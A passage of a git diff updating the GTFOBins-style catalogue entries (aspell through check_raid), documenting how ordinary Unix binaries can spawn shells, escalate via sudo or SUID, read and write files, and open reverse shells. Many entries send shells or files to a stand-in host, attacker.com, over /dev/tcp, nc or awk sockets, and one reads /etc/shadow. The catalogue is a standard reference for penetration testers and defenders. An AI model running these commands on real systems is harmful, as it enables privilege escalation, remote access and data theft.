-0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\naspell -c \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./aspell -c \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo aspell -c \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/asterisk.json b/gtfo/data/asterisk.json new file mode 100644 index 0000000..87f120b --- /dev/null +++ b/gtfo/data/asterisk.json @@ -0,0 +1,20 @@ +{ + "functions": { + "shell": [ + { + "description": "Connect to the Asterisk console and drop into a shell", + "code": "!sh\n" + } + ], + "sudo": [ + { + "description": "Start Asterisk as root in the foreground to create its CLI socket", + "code": "sudo asterisk -F\n" + }, + { + "description": "Connect to the Asterisk console as root and drop into a shell", + "code": "!sh\n" + } + ] + } +} diff --git a/gtfo/data/at.json b/gtfo/data/at.json index 4cbe1f9..19f070c 100644 --- a/gtfo/data/at.json +++ b/gtfo/data/at.json @@ -2,17 +2,19 @@ "functions": { "shell": [ { + "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | at now; tail -f /dev/null\n" } ], "command": [ { "description": "The invocation will be blind, but it is possible to redirect the output to a file in a readable location.", - "code": "necho \"[command]\" | at now\n" + "code": "COMMAND=id\necho \"$COMMAND\" | at now\n" } ], "sudo": [ { + "code": "echo \"/bin/sh <$(tty) >$(tty) 2>$(tty)\" | sudo at now; tail -f /dev/null\n" } ] diff --git a/gtfo/data/atobm.json b/gtfo/data/atobm.json index 2cdce5a..27e2b61 100644 --- a/gtfo/data/atobm.json +++ b/gtfo/data/atobm.json @@ -1,19 +1,21 @@ { - "description": "Outputs the first line of the file to standard error without the '-' and '#' characters, this can be customized with the '-c' option, by default is '-c -#'.", "functions": { "file-read": [ { - "code": "atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n" + + "code": "LFILE=file_to_read\natobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n" } ], "sudo": [ { - "code": "sudo atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n" + + "code": "LFILE=file_to_read\nsudo atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n" } ], "suid": [ { - "code": "./atobm [file] 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n" + + "code": "LFILE=file_to_read\n./atobm $LFILE 2>&1 | awk -F \"'\" '{printf \"%s\", $2}'\n" } ] } diff --git a/gtfo/data/awk.json b/gtfo/data/awk.json index 0214900..3d0c576 100644 --- a/gtfo/data/awk.json +++ b/gtfo/data/awk.json @@ -2,44 +2,50 @@ "functions": { "shell": [ { - "code": "awk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "awk 'BEGIN {system(\"/bin/sh\")}'\n" } ], "non-interactive-reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "awk -v RHOST=[host] -v RPORT=[port] 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "RHOST=attacker.com\nRPORT=12345\nawk -v RHOST=$RHOST -v RPORT=$RPORT 'BEGIN {\n s = \"/inet/tcp/0/\" RHOST \"/\" RPORT;\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "non-interactive-bind-shell": [ { - "description": "Run 'nc [host] [port]' on the attacker box to connect to the shell.", - "code": "awk -v LPORT=[port] 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" + "description": "Run `nc target.com 12345` on the attacker box to connect to the shell.", + "code": "LPORT=12345\nawk -v LPORT=$LPORT 'BEGIN {\n s = \"/inet/tcp/\" LPORT \"/0/0\";\n while (1) {printf \"> \" |& s; if ((s |& getline c) <= 0) break;\n while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'\n" } ], "file-write": [ { - "code": "awk -v LFILE=[file] 'BEGIN { print \"DATA\" > LFILE }'\n" + + "code": "LFILE=file_to_write\nawk -v LFILE=$LFILE 'BEGIN { print \"DATA\" > LFILE }'\n" } ], "file-read": [ { - "code": "awk '//' [file]\n" + + "code": "LFILE=file_to_read\nawk '//' \"$LFILE\"\n" } ], - "sudo": [ + "suid": [ { - "code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "LFILE=file_to_read\n./awk '//' \"$LFILE\"\n" } ], - "suid": [ - { - "code": "./awk '//' \"[file]\"" - } + "sudo": [ + { + + "code": "sudo awk 'BEGIN {system(\"/bin/sh\")}'\n" + } ], "limited-suid": [ { - "code": "./awk 'BEGIN {system(\"/bin/sh\")}'" + + "code": "./awk 'BEGIN {system(\"/bin/sh\")}'\n" } ] } diff --git a/gtfo/data/aws.json b/gtfo/data/aws.json new file mode 100644 index 0000000..459fc8f --- /dev/null +++ b/gtfo/data/aws.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "aws help\n!/bin/sh\n" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "sudo aws help\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/base32.json b/gtfo/data/base32.json index 1df4b07..3e52127 100644 --- a/gtfo/data/base32.json +++ b/gtfo/data/base32.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "base32 \"[file]\" | base32 --decode\n" + + "code": "LFILE=file_to_read\nbase32 \"$LFILE\" | base32 --decode\n" } ], "suid": [ { - "code": "base32 \"[file]\" | base32 --decode\n" + + "code": "LFILE=file_to_read\nbase32 \"$LFILE\" | base32 --decode\n" } ], "sudo": [ { - "code": "sudo base32 \"[file]\" | base32 --decode\n" + + "code": "LFILE=file_to_read\nsudo base32 \"$LFILE\" | base32 --decode\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/base58.json b/gtfo/data/base58.json new file mode 100644 index 0000000..55fe12b --- /dev/null +++ b/gtfo/data/base58.json @@ -0,0 +1,16 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nbase58 \"$LFILE\" | base58 --decode\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo base58 \"$LFILE\" | base58 --decode\n" + } + ] + } +} diff --git a/gtfo/data/base64.json b/gtfo/data/base64.json index 89c956b..1650561 100644 --- a/gtfo/data/base64.json +++ b/gtfo/data/base64.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "base64 [file] | base64 --decode\n" + + "code": "LFILE=file_to_read\nbase64 \"$LFILE\" | base64 --decode\n" } ], "suid": [ { - "code": "./base64 [file] | base64 --decode\n" + + "code": "LFILE=file_to_read\n./base64 \"$LFILE\" | base64 --decode\n" } ], "sudo": [ { - "code": "sudo base64 [file] | base64 --decode\n" + + "code": "LFILE=file_to_read\nsudo base64 \"$LFILE\" | base64 --decode\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/basenc.json b/gtfo/data/basenc.json index 8376121..4ef5435 100644 --- a/gtfo/data/basenc.json +++ b/gtfo/data/basenc.json @@ -2,17 +2,20 @@ "functions": { "file-read": [ { - "code": "basenc --base64 [file] | basenc -d --base64\n" + + "code": "LFILE=file_to_read\nbasenc --base64 $LFILE | basenc -d --base64\n" } ], "suid": [ { - "code": "basenc --base64 [file] | basenc -d --base64\n" + + "code": "LFILE=file_to_read\nbasenc --base64 $LFILE | basenc -d --base64\n" } ], "sudo": [ { - "code": "sudo basenc --base64 [file] | basenc -d --base64\n" + + "code": "LFILE=file_to_read\nsudo basenc --base64 $LFILE | basenc -d --base64\n" } ] } diff --git a/gtfo/data/basez.json b/gtfo/data/basez.json new file mode 100644 index 0000000..4f9edbb --- /dev/null +++ b/gtfo/data/basez.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nbasez \"$LFILE\" | basez --decode\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./basez \"$LFILE\" | basez --decode\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo basez \"$LFILE\" | basez --decode\n" + } + ] + } +} diff --git a/gtfo/data/bash.json b/gtfo/data/bash.json index 9ffda91..29a3693 100644 --- a/gtfo/data/bash.json +++ b/gtfo/data/bash.json @@ -2,68 +2,73 @@ "functions": { "shell": [ { - "code": "bash" + + "code": "bash\n" } ], "reverse-shell": [ { - "description": "Run 'nc -l -p [port]' on the attacker box to receive the shell.", - "code": "bash -c 'exec bash -i &>/dev/tcp/[host]/[port] <&1'\n" + "description": "Run `nc -l -p 12345` on the attacker box to receive the shell.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nbash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'\n" } ], "file-upload": [ { "description": "Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.", - "code": "bash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(<[file])\" > /dev/tcp/[host]/[port]'\n" + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nbash -c 'echo -e \"POST / HTTP/0.9\\n\\n$(<$LFILE)\" > /dev/tcp/$RHOST/$RPORT'\n" }, { - "description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", - "code": "bash -c 'cat [file] > /dev/tcp/[host]/[port]'\n" + "description": "Send local file using a TCP connection. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_send\nbash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'\n" } ], "file-download": [ { "description": "Fetch a remote file via HTTP GET request.", - "code": "bash -c '{ echo -ne \"GET /[file] HTTP/1.0\\r\\nhost: [host]\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n 3<>/dev/tcp/[host]/[port] \\\n | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > [file]'\n" + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nbash -c '{ echo -ne \"GET /$LFILE HTTP/1.0\\r\\nhost: $RHOST\\r\\n\\r\\n\" 1>&3; cat 0<&3; } \\\n 3<>/dev/tcp/$RHOST/$RPORT \\\n | { while read -r; do [ \"$REPLY\" = \"$(echo -ne \"\\r\")\" ] && break; done; cat; } > $LFILE'\n" }, { - "description": "Fetch remote file using a TCP connection. Run 'nc -l -p [port] < [file]' on the attacker box to send the file.", - "code": "bash -c 'cat < /dev/tcp/[host]/[port] > [file]'\n" + "description": "Fetch remote file using a TCP connection. Run `nc -l -p 12345 < \"file_to_send\"` on the attacker box to send the file.", + "code": "export RHOST=attacker.com\nexport RPORT=12345\nexport LFILE=file_to_get\nbash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'\n" } ], "file-write": [ { - "code": "bash -c 'echo DATA > [file]'\n" + + "code": "export LFILE=file_to_write\nbash -c 'echo DATA > $LFILE'\n" }, { "description": "This adds timestamps to the output file.", - "code": "HISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w [file]\n" + "code": "LFILE=file_to_write\nHISTIGNORE='history *'\nhistory -c\nDATA\nhistory -w $LFILE\n" } ], "file-read": [ { "description": "It trims trailing newlines and it's not binary-safe.", - "code": "bash -c 'echo \"$(<[file])\"'\n" + "code": "export LFILE=file_to_read\nbash -c 'echo \"$(<$LFILE)\"'\n" }, { "description": "The read file content is surrounded by the current history content.", - "code": "HISTTIMEFORMAT=$'\\r\\e[K'\nhistory -r [file]\nhistory\n" + "code": "LFILE=file_to_read\nHISTTIMEFORMAT=$'\\r\\e[K'\nhistory -r $LFILE\nhistory\n" } ], "library-load": [ { - "code": "bash -c 'enable -f ./lib.so x'" + + "code": "bash -c 'enable -f ./lib.so x'\n" } ], "suid": [ { - "code": "./bash -p" + + "code": "./bash -p\n" } ], "sudo": [ { - "code": "sudo bash" + + "code": "sudo bash\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/batcat.json b/gtfo/data/batcat.json new file mode 100644 index 0000000..14a7e34 --- /dev/null +++ b/gtfo/data/batcat.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "batcat --paging always /etc/profile\n!/bin/sh\n" + } + ], + "limited-suid": [ + { + + "code": "./batcat --paging always /etc/profile\n!/bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo batcat --paging always /etc/profile\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/bc.json b/gtfo/data/bc.json new file mode 100644 index 0000000..43858d2 --- /dev/null +++ b/gtfo/data/bc.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nbc -s $LFILE\nquit\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo bc -s $LFILE\nquit\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./bc -s $LFILE\nquit\n" + } + ] + } +} diff --git a/gtfo/data/bconsole.json b/gtfo/data/bconsole.json new file mode 100644 index 0000000..bdf1107 --- /dev/null +++ b/gtfo/data/bconsole.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "bconsole\n@exec /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo bconsole\n@exec /bin/sh\n" + } + ], + "file-read": [ + { + "description": "The file is actually parsed and the first wrong line is returned in an error message, thus it may not be suitable for reading arbitrary files.", + "code": "bconsole -c /etc/shadow\n" + } + ] + } +} diff --git a/gtfo/data/bee.json b/gtfo/data/bee.json new file mode 100644 index 0000000..5890945 --- /dev/null +++ b/gtfo/data/bee.json @@ -0,0 +1,10 @@ +{ + "functions": { + "sudo": [ + { + "description": "For this to work [`bee`](/gtfobins/bee/) must be excuted from the Backdrop CMS root directory (e.g. `/var/www/html`).", + "code": "sudo bee eval \"system('sh');\"\n" + } + ] + } +} diff --git a/gtfo/data/borg.json b/gtfo/data/borg.json new file mode 100644 index 0000000..6010ccb --- /dev/null +++ b/gtfo/data/borg.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + "description": "", + "code": "borg extract @:/::: --rsh \"sh -c 'sh /dev/tty 2>/dev/tty'\"\n" + } + ], + "sudo": [ + { + "description": "", + "code": "sudo borg extract @:/::: --rsh \"sh -c 'sh /dev/tty 2>/dev/tty'\"\n" + } + ] + } +} diff --git a/gtfo/data/bpftrace.json b/gtfo/data/bpftrace.json index 1ee7829..bd88ad9 100644 --- a/gtfo/data/bpftrace.json +++ b/gtfo/data/bpftrace.json @@ -2,14 +2,17 @@ "functions": { "sudo": [ { - "code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'" + + "code": "sudo bpftrace -e 'BEGIN {system(\"/bin/sh\");exit()}'\n" }, { + "code": "TF=$(mktemp)\necho 'BEGIN {system(\"/bin/sh\");exit()}' >$TF\nsudo bpftrace $TF\n" }, { - "code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'" + + "code": "sudo bpftrace -c /bin/sh -e 'END {exit()}'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/bridge.json b/gtfo/data/bridge.json new file mode 100644 index 0000000..a9c7de2 --- /dev/null +++ b/gtfo/data/bridge.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nbridge -b \"$LFILE\"\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./bridge -b \"$LFILE\"\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo bridge -b \"$LFILE\"\n" + } + ] + } +} diff --git a/gtfo/data/bundle.json b/gtfo/data/bundle.json new file mode 100644 index 0000000..c8db807 --- /dev/null +++ b/gtfo/data/bundle.json @@ -0,0 +1,32 @@ +{ + "functions": { + "shell": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "bundle help\n!/bin/sh\n" + }, + { + + "code": "export BUNDLE_GEMFILE=x\nbundle exec /bin/sh\n" + }, + { + + "code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundle exec /bin/sh\n" + }, + { + "description": "This spawns an interactive shell via [`irb`](/gtfobins/irb/).", + "code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundle console\nsystem('/bin/sh -c /bin/sh')\n" + }, + { + + "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/Gemfile\ncd $TF\nbundle install\n" + } + ], + "sudo": [ + { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", + "code": "sudo bundle help\n!/bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/bundler.json b/gtfo/data/bundler.json index 7d238ba..4f43bb2 100644 --- a/gtfo/data/bundler.json +++ b/gtfo/data/bundler.json @@ -2,28 +2,31 @@ "functions": { "shell": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "bundler help\n!/bin/sh\n" }, { + "code": "export BUNDLE_GEMFILE=x\nbundler exec /bin/sh\n" }, { + "code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler exec /bin/sh\n" }, { - "description": "This spawns an interactive shell via 'irb'.", + "description": "This spawns an interactive shell via [`irb`](/gtfobins/irb/).", "code": "TF=$(mktemp -d)\ntouch $TF/Gemfile\ncd $TF\nbundler console\nsystem('/bin/sh -c /bin/sh')\n" }, { + "code": "TF=$(mktemp -d)\necho 'system(\"/bin/sh\")' > $TF/Gemfile\ncd $TF\nbundler install\n" } ], "sudo": [ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "sudo bundler help\n!/bin/sh\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/busctl.json b/gtfo/data/busctl.json index f9b14fe..f09020a 100644 --- a/gtfo/data/busctl.json +++ b/gtfo/data/busctl.json @@ -1,15 +1,26 @@ { - "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", "functions": { "shell": [ { + "description": "This invokes the default pager, which is likely to be [`less`](/gtfobins/less/), other functions may apply.", "code": "busctl --show-machine\n!/bin/sh\n" + }, + { + + "code": "busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n" } ], "sudo": [ { - "code": "sudo busctl --show-machine\n!/bin/sh\n" + + "code": "sudo busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'\n" + } + ], + "suid": [ + { + + "code": "./busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/busybox.json b/gtfo/data/busybox.json index a41b740..9e4b541 100644 --- a/gtfo/data/busybox.json +++ b/gtfo/data/busybox.json @@ -1,37 +1,46 @@ { - "description": "BusyBox may contain many UNIX utilities, run 'busybox --list-full' to check what GTFBins binaries are supported. Here some example.", "functions": { "shell": [ { - "code": "busybox sh" + + "code": "busybox sh\n" } ], "file-upload": [ { "description": "Serve files in the local folder running an HTTP server.", - "code": "busybox httpd -f -p [port] -h .\n" + "code": "LPORT=12345\nbusybox httpd -f -p $LPORT -h .\n" } ], "file-write": [ { - "code": "busybox sh -c 'echo \"DATA\" > [file]'\n" + + "code": "LFILE=file_to_write\nbusybox sh -c 'echo \"DATA\" > $LFILE'\n" } ], "file-read": [ { - "code": "./busybox cat [file]\n" + + "code": "LFILE=file_to_read\n./busybox cat \"$LFILE\"\n" } ], "suid": [ { "description": "It may drop the SUID privileges depending on the compilation flags and the runtime configuration.", - "code": "./busybox sh" + "code": "./busybox sh\n" } ], "sudo": [ { - "code": "sudo busybox sh" + + "code": "sudo busybox sh\n" + } + ], + "reverse-shell": [ + { + "description": "Run `nc -lvp 12345` on the attacker box to receive the shell.", + "code": "RHOST=attacker.com\nRPORT=12345\nbusybox nc -e /bin/sh $RHOST $RPORT\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/byebug.json b/gtfo/data/byebug.json index 60408eb..1e44097 100644 --- a/gtfo/data/byebug.json +++ b/gtfo/data/byebug.json @@ -2,18 +2,21 @@ "functions": { "shell": [ { + "code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nbyebug $TF\ncontinue\n" } ], "limited-suid": [ { + "code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\n./byebug $TF\ncontinue\n" } ], "sudo": [ { + "code": "TF=$(mktemp)\necho 'system(\"/bin/sh\")' > $TF\nsudo byebug $TF\ncontinue\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/bzip2.json b/gtfo/data/bzip2.json new file mode 100644 index 0000000..e3e71d8 --- /dev/null +++ b/gtfo/data/bzip2.json @@ -0,0 +1,22 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nbzip2 -c $LFILE | bzip2 -d\n" + } + ], + "suid": [ + { + + "code": "LFILE=file_to_read\n./bzip2 -c $LFILE | bzip2 -d\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_read\nsudo bzip2 -c $LFILE | bzip2 -d\n" + } + ] + } +} diff --git a/gtfo/data/c89.json b/gtfo/data/c89.json new file mode 100644 index 0000000..725f64e --- /dev/null +++ b/gtfo/data/c89.json @@ -0,0 +1,28 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nc89 -x c -E \"$LFILE\"\n" + } + ], + "file-write": [ + { + + "code": "LFILE=file_to_delete\nc89 -xc /dev/null -o $LFILE\n" + } + ], + "shell": [ + { + + "code": "c89 -wrapper /bin/sh,-s .\n" + } + ], + "sudo": [ + { + + "code": "sudo c89 -wrapper /bin/sh,-s .\n" + } + ] + } +} diff --git a/gtfo/data/c99.json b/gtfo/data/c99.json new file mode 100644 index 0000000..f3585f3 --- /dev/null +++ b/gtfo/data/c99.json @@ -0,0 +1,28 @@ +{ + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nc99 -x c -E \"$LFILE\"\n" + } + ], + "file-write": [ + { + + "code": "LFILE=file_to_delete\nc99 -xc /dev/null -o $LFILE\n" + } + ], + "shell": [ + { + + "code": "c99 -wrapper /bin/sh,-s .\n" + } + ], + "sudo": [ + { + + "code": "sudo c99 -wrapper /bin/sh,-s .\n" + } + ] + } +} diff --git a/gtfo/data/cabal.json b/gtfo/data/cabal.json new file mode 100644 index 0000000..d6c62aa --- /dev/null +++ b/gtfo/data/cabal.json @@ -0,0 +1,22 @@ +{ + "functions": { + "shell": [ + { + + "code": "cabal exec -- /bin/sh\n" + } + ], + "suid": [ + { + + "code": "./cabal exec -- /bin/sh -p\n" + } + ], + "sudo": [ + { + + "code": "sudo cabal exec -- /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/cancel.json b/gtfo/data/cancel.json index 3362380..e7b7dd9 100644 --- a/gtfo/data/cancel.json +++ b/gtfo/data/cancel.json @@ -2,9 +2,9 @@ "functions": { "file-upload": [ { - "description": "Send local file using a TCP connection. Run 'nc -l -p [port] > [file]' on the attacker box to collect the file.", - "code": "cancel -u \"$(cat [file])\" -h [host]:[port]\n" + "description": "Send local file using a TCP connection. Run `nc -l -p 12345 > \"file_to_save\"` on the attacker box to collect the file.", + "code": "RHOST=attacker.com\nRPORT=12345\nLFILE=file_to_send\ncancel -u \"$(cat $LFILE)\" -h $RHOST:$RPORT\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/capsh.json b/gtfo/data/capsh.json index 6d0e600..38ce1de 100644 --- a/gtfo/data/capsh.json +++ b/gtfo/data/capsh.json @@ -2,17 +2,20 @@ "functions": { "shell": [ { - "code": "capsh --" + + "code": "capsh --\n" } ], "suid": [ { - "code": "./capsh --gid=0 --uid=0 --" + + "code": "./capsh --gid=0 --uid=0 --\n" } ], "sudo": [ { - "code": "sudo capsh --" + + "code": "sudo capsh --\n" } ] } diff --git a/gtfo/data/cat.json b/gtfo/data/cat.json index 8d02af4..54e26b7 100644 --- a/gtfo/data/cat.json +++ b/gtfo/data/cat.json @@ -2,18 +2,21 @@ "functions": { "file-read": [ { - "code": "cat [file]\n" + + "code": "LFILE=file_to_read\ncat \"$LFILE\"\n" } ], "suid": [ { - "code": "./cat [file]\n" + + "code": "LFILE=file_to_read\n./cat \"$LFILE\"\n" } ], "sudo": [ { - "code": "sudo cat [file]\n" + + "code": "LFILE=file_to_read\nsudo cat \"$LFILE\"\n" } ] } -} \ No newline at end of file +} diff --git a/gtfo/data/cdist.json b/gtfo/data/cdist.json new file mode 100644 index 0000000..20a46c9 --- /dev/null +++ b/gtfo/data/cdist.json @@ -0,0 +1,16 @@ +{ + "functions": { + "shell": [ + { + + "code": "cdist shell -s /bin/sh\n" + } + ], + "sudo": [ + { + + "code": "sudo cdist shell -s /bin/sh\n" + } + ] + } +} diff --git a/gtfo/data/certbot.json b/gtfo/data/certbot.json index a8c1cf6..97a0fc6 100644 --- a/gtfo/data/certbot.json +++ b/gtfo/data/certbot.json @@ -2,11 +2,13 @@ "functions": { "shell": [ { + "code": "TF=$(mktemp -d)\ncertbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n" } ], "sudo": [ { + "code": "TF=$(mktemp -d)\nsudo certbot certonly -n -d x --standalone --dry-run --agree-tos --email x --logs-dir $TF --work-dir $TF --config-dir $TF --pre-hook '/bin/sh 1>&0 2>&0'\n" } ] diff --git a/gtfo/data/check_by_ssh.json b/gtfo/data/check_by_ssh.json index 37a7a76..53dee03 100644 --- a/gtfo/data/check_by_ssh.json +++ b/gtfo/data/check_by_ssh.json @@ -1,16 +1,15 @@ { - "description": "This is the 'check_by_ssh' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n", "functions": { "shell": [ { "description": "The shell will only last 10 seconds.", - "code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx" + "code": "check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx\n" } ], "sudo": [ { "description": "The shell will only last 10 seconds.", - "code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx" + "code": "sudo check_by_ssh -o \"ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)\" -H localhost -C xx\n" } ] } diff --git a/gtfo/data/check_cups.json b/gtfo/data/check_cups.json index f1464c5..9692866 100644 --- a/gtfo/data/check_cups.json +++ b/gtfo/data/check_cups.json @@ -1,14 +1,15 @@ { - "description": "This is the 'check_cups' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n", "functions": { "file-read": [ { - "code": "check_cups --extra-opts=@[file]\n" + + "code": "LFILE=file_to_read\ncheck_cups --extra-opts=@$LFILE\n" } ], "sudo": [ { - "code": "sudo check_cups --extra-opts=@[file]\n" + + "code": "LFILE=file_to_read\nsudo check_cups --extra-opts=@$LFILE\n" } ] } diff --git a/gtfo/data/check_log.json b/gtfo/data/check_log.json index a06bb6f..f13df9f 100644 --- a/gtfo/data/check_log.json +++ b/gtfo/data/check_log.json @@ -1,20 +1,22 @@ { - "description": "This is the 'check_log' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'.\n", - "functions": { - "file-read": [ - { - "code": "check_log -F [file] -O [output]\ncat [output]\n" - } - ], - "file-write": [ - { - "code": "check_log -F [input] -O [file]\n" - } - ], - "sudo": [ - { - "code": "sudo check_log -F [input] -O [file]\n" - } - ] - } + "functions": { + "file-read": [ + { + + "code": "LFILE=file_to_read\nOUTPUT=output_file\ncheck_log -F $LFILE -O $OUTPUT\ncat $OUTPUT\n" + } + ], + "file-write": [ + { + + "code": "LFILE=file_to_write\nINPUT=input_file\ncheck_log -F $INPUT -O $LFILE\n" + } + ], + "sudo": [ + { + + "code": "LFILE=file_to_write\nINPUT=input_file\nsudo check_log -F $INPUT -O $LFILE\n" + } + ] } +} diff --git a/gtfo/data/check_memory.json b/gtfo/data/check_memory.json index 09d7a00..7877a12 100644 --- a/gtfo/data/check_memory.json +++ b/gtfo/data/check_memory.json @@ -1,14 +1,15 @@ { - "description": "This is the 'check_memory' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n", "functions": { "file-read": [ { - "code": "check_memory --extra-opts=@[file]\n" + + "code": "LFILE=file_to_read\ncheck_memory --extra-opts=@$LFILE\n" } ], "sudo": [ { - "code": "sudo check_memory --extra-opts=@[file]\n" + + "code": "LFILE=file_to_read\nsudo check_memory --extra-opts=@$LFILE\n" } ] } diff --git a/gtfo/data/check_raid.json b/gtfo/data/check_raid.json index 9ebcddd..2bbf928 100644 --- a/gtfo/data/check_raid.json +++ b/gtfo/data/check_raid.json @@ -1,14 +1,15 @@ { - "description": "This is the 'check_raid' Nagios plugin, available e.g. in '/usr/lib/nagios/plugins/'. The read file content is limited to the first line.\n", "functions": { "file-read": 